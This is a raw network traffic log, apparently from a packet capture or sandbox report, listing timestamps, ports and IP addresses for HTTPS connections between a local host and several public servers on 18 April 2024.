Apr 18, 2024 01:28:19.766822100 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.766829967 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.766885042 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.768372059 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.768419027 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.768451929 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.768460035 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.768528938 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.770281076 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.770332098 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.770373106 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.770380974 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.770427942 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.771310091 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.771359921 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.771394014 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.771401882 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.771445036 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.771466970 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.773258924 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.773300886 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.773449898 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.773458958 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.773516893 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.775087118 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.775134087 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.775171041 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.775178909 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.775223017 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.775249958 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.776856899 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.776906013 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.776949883 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.776958942 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.777024984 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.777939081 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.777983904 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.778024912 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.778033018 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.778075933 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.778098106 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.779654980 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.779705048 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.779747009 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.779755116 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.779794931 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.779819965 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.780798912 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.780841112 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.780875921 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.780884027 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.780917883 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.780944109 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.782629013 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.782675028 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.782725096 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.782733917 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.782800913 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.782831907 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.784193993 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.784246922 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.784287930 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.784296036 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.784353018 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.785147905 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.785202980 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.785253048 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.785262108 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.785296917 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.785331011 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.786343098 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.786391973 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.786427975 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.786434889 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.786480904 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.786504984 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.786849022 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.787905931 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.787949085 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.787978888 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.787988901 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.788028002 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.788053989 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.789537907 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.789587021 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.789622068 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.789630890 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.789674997 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.789700985 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.790555000 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.790596962 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.790637970 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.790646076 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.790678978 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.790703058 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.791589022 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.791635990 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.791663885 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.791671991 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.791707993 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.791732073 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.793447018 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.793498039 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.793525934 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.793534040 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.793613911 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.795034885 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.795104027 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.795116901 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.795134068 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.795166969 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.795190096 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.795933962 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.795975924 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.795999050 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.796006918 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.796044111 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.796065092 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.797017097 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.797065020 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.797091961 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.797101021 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.797151089 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.797173023 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.798830032 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.798871994 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.798909903 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.798918009 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.798965931 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.800363064 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.800415039 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.800438881 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.800446987 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.800492048 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.801419020 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.801467896 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.801492929 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.801501036 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.801542997 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.801563978 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.803080082 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.803181887 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.803221941 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.803230047 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.803267956 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.803292036 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.804240942 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.804296970 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.804331064 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.804338932 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.804378986 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.804405928 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.805788994 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.805845976 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.805888891 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.805897951 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.805932999 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.805954933 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.806837082 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.806886911 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.806915045 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.806921959 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.806962013 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.806992054 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.808564901 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.808609009 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.808653116 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.808661938 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.808701992 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.808705091 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.808722019 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.808741093 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.808768034 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.809684992 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.809746027 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.809761047 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.809777975 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.809833050 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.811321020 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.811362982 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.811395884 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.811404943 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.811451912 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.823045015 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.830904961 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.830957890 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.831001043 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.831008911 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.831058979 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.831732035 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.831779003 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.831840992 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.831847906 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.831902981 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.832094908 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.832159996 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.832196951 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.832206011 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.832228899 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.833616972 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.833669901 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.833690882 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.833700895 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.833743095 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.835509062 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.835550070 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.835582972 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.835592031 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.835640907 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.836431980 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.836472988 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.836503029 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.836509943 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.836569071 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.837660074 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.837701082 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.837732077 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.837738991 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.837779045 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.838957071 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.838996887 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.839030027 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.839037895 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.839078903 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.841031075 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.841079950 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.841103077 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.841110945 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.841157913 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.842125893 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.842165947 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.842204094 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.842211962 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.842288017 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.843240976 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.843283892 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.843321085 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.843328953 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.843410015 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.843864918 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.843926907 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.843943119 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.843991041 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.844120979 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.844177961 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.845680952 CEST	49711	443	192.168.2.5	104.21.26.127
Apr 18, 2024 01:28:19.845695972 CEST	443	49711	104.21.26.127	192.168.2.5
Apr 18, 2024 01:28:19.857208967 CEST	443	49714	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:19.857400894 CEST	443	49714	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:19.857460976 CEST	49714	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:19.857486010 CEST	443	49714	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:19.857578039 CEST	443	49714	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:19.857635021 CEST	49714	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:19.857645035 CEST	443	49714	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:19.860291958 CEST	443	49714	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:19.860356092 CEST	49714	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:19.860367060 CEST	443	49714	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:19.863816023 CEST	443	49714	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:19.863877058 CEST	49714	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:19.863886118 CEST	443	49714	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:19.867301941 CEST	443	49714	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:19.867364883 CEST	49714	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:19.867372990 CEST	443	49714	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:19.870698929 CEST	443	49714	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:19.870762110 CEST	49714	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:19.870779991 CEST	443	49714	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:19.891599894 CEST	443	49714	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:19.891628981 CEST	443	49714	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:19.891680002 CEST	443	49714	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:19.891686916 CEST	49714	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:19.891712904 CEST	443	49714	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:19.891747952 CEST	49714	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:19.891760111 CEST	443	49714	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:19.891777039 CEST	49714	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:19.939402103 CEST	49714	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:19.969221115 CEST	443	49714	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:19.969238043 CEST	443	49714	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:19.969329119 CEST	49714	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:19.969333887 CEST	443	49714	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:19.969420910 CEST	443	49714	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:19.969460011 CEST	443	49714	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:19.969499111 CEST	49714	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:19.969536066 CEST	49714	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:19.986829996 CEST	443	49714	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:19.986854076 CEST	443	49714	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:19.986900091 CEST	49714	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:19.986912966 CEST	443	49714	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:19.986969948 CEST	49714	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:19.986984968 CEST	49714	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:20.000258923 CEST	443	49714	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:20.000313044 CEST	443	49714	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:20.000350952 CEST	49714	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:20.000361919 CEST	443	49714	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:20.000410080 CEST	49714	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:20.000423908 CEST	49714	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:20.003899097 CEST	443	49714	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:20.003974915 CEST	49714	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:20.003983974 CEST	443	49714	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:20.004040003 CEST	49714	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:20.004081011 CEST	443	49714	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:20.004132032 CEST	49714	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:20.006335974 CEST	49714	443	192.168.2.5	151.101.130.137
Apr 18, 2024 01:28:20.006350994 CEST	443	49714	151.101.130.137	192.168.2.5
Apr 18, 2024 01:28:21.416768074 CEST	49715	443	192.168.2.5	142.251.15.99
Apr 18, 2024 01:28:21.416887045 CEST	443	49715	142.251.15.99	192.168.2.5
Apr 18, 2024 01:28:21.417135000 CEST	49715	443	192.168.2.5	142.251.15.99
Apr 18, 2024 01:28:21.419785976 CEST	49715	443	192.168.2.5	142.251.15.99
Apr 18, 2024 01:28:21.419821024 CEST	443	49715	142.251.15.99	192.168.2.5
Apr 18, 2024 01:28:21.646023035 CEST	443	49715	142.251.15.99	192.168.2.5
Apr 18, 2024 01:28:21.661881924 CEST	49715	443	192.168.2.5	142.251.15.99
Apr 18, 2024 01:28:21.661926031 CEST	443	49715	142.251.15.99	192.168.2.5
Apr 18, 2024 01:28:21.666623116 CEST	443	49715	142.251.15.99	192.168.2.5
Apr 18, 2024 01:28:21.666937113 CEST	49715	443	192.168.2.5	142.251.15.99
Apr 18, 2024 01:28:21.671749115 CEST	49715	443	192.168.2.5	142.251.15.99
Apr 18, 2024 01:28:21.671956062 CEST	443	49715	142.251.15.99	192.168.2.5
Apr 18, 2024 01:28:21.723812103 CEST	49715	443	192.168.2.5	142.251.15.99
Apr 18, 2024 01:28:21.723839998 CEST	443	49715	142.251.15.99	192.168.2.5
Apr 18, 2024 01:28:21.766649008 CEST	49715	443	192.168.2.5	142.251.15.99
Apr 18, 2024 01:28:22.110810995 CEST	49674	443	192.168.2.5	23.1.237.91
Apr 18, 2024 01:28:22.110816956 CEST	49675	443	192.168.2.5	23.1.237.91
Apr 18, 2024 01:28:22.203401089 CEST	49673	443	192.168.2.5	23.1.237.91
Apr 18, 2024 01:28:22.604238033 CEST	49716	443	192.168.2.5	23.208.128.100
Apr 18, 2024 01:28:22.604310989 CEST	443	49716	23.208.128.100	192.168.2.5
Apr 18, 2024 01:28:22.604402065 CEST	49716	443	192.168.2.5	23.208.128.100
Apr 18, 2024 01:28:22.606307983 CEST	49716	443	192.168.2.5	23.208.128.100
Apr 18, 2024 01:28:22.606338978 CEST	443	49716	23.208.128.100	192.168.2.5
Apr 18, 2024 01:28:22.833673954 CEST	443	49716	23.208.128.100	192.168.2.5
Apr 18, 2024 01:28:22.833756924 CEST	49716	443	192.168.2.5	23.208.128.100
Apr 18, 2024 01:28:22.836965084 CEST	49716	443	192.168.2.5	23.208.128.100
Apr 18, 2024 01:28:22.836975098 CEST	443	49716	23.208.128.100	192.168.2.5
Apr 18, 2024 01:28:22.837284088 CEST	443	49716	23.208.128.100	192.168.2.5
Apr 18, 2024 01:28:22.875523090 CEST	49716	443	192.168.2.5	23.208.128.100
Apr 18, 2024 01:28:22.920130014 CEST	443	49716	23.208.128.100	192.168.2.5
